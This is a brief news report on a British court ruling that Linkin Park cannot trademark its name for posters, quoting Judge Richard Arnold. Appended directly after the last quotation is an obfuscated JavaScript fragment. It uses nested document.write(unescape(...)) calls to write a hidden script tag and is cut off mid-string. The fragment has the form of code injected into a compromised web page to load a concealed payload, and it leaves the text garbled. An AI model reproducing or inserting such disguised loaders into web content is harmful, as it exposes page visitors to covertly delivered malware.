A British judge has rejected a bid by American nu-metal band Linkin Park to trademark its name for use on posters, leaving shopkeepers free to sell unofficial posters of music and show business personalities.
In a landmark judgment that means the band cannot sue suppliers of unauthorized posters, Judge Richard Arnold said on Tuesday that unlike merchandise such as CDs and books, a famous name appearing on a poster was purely descriptive.
"Third parties are, of course, entitled to take and exploit pictures of celebrities -- the copyright in a picture of Linkin Park belongs to the creator of it and not necessarily to the group itself," he said.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22